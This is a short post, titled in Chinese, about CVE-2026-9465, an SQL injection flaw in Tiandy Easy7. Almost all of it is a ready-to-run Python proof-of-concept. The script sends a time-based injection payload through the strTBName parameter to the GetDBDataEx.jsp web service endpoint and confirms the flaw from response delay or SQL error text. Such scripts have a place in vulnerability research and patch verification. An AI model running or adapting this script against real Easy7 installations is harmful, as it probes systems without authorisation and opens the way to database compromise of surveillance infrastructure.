CVE-2026-9465 Tiandy Easy7 SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target-ip/Easy7/apps/WebService/GetDBDataEx.jsp" # SQL Injection Payload to test vulnerability (e.g., checking for time delay) # This payload attempts to cause a delay if the database is vulnerable payload = "1' WAITFOR DELAY '0:0:5'--" params = { "strTBName": payload } try: print(f"Sending request to {target_url} with payload: {payload}") response = requests.get(target_url, params=params, timeout=10) # Analyze response time or content to confirm vulnerability if response.elapsed.total_seconds() >= 5: print("[+] Potential SQL Injection vulnerability confirmed via time-based analysis.") elif "syntax error" in response.text.lower() or "sql" in response.text.lower(): print("[+] Potential SQL Injection vulnerability confirmed via error message.") else: print("[-] Vulnerability could not be confirmed or payload was ineffective.") except Exception as e: print(f"Error occurred: {e}")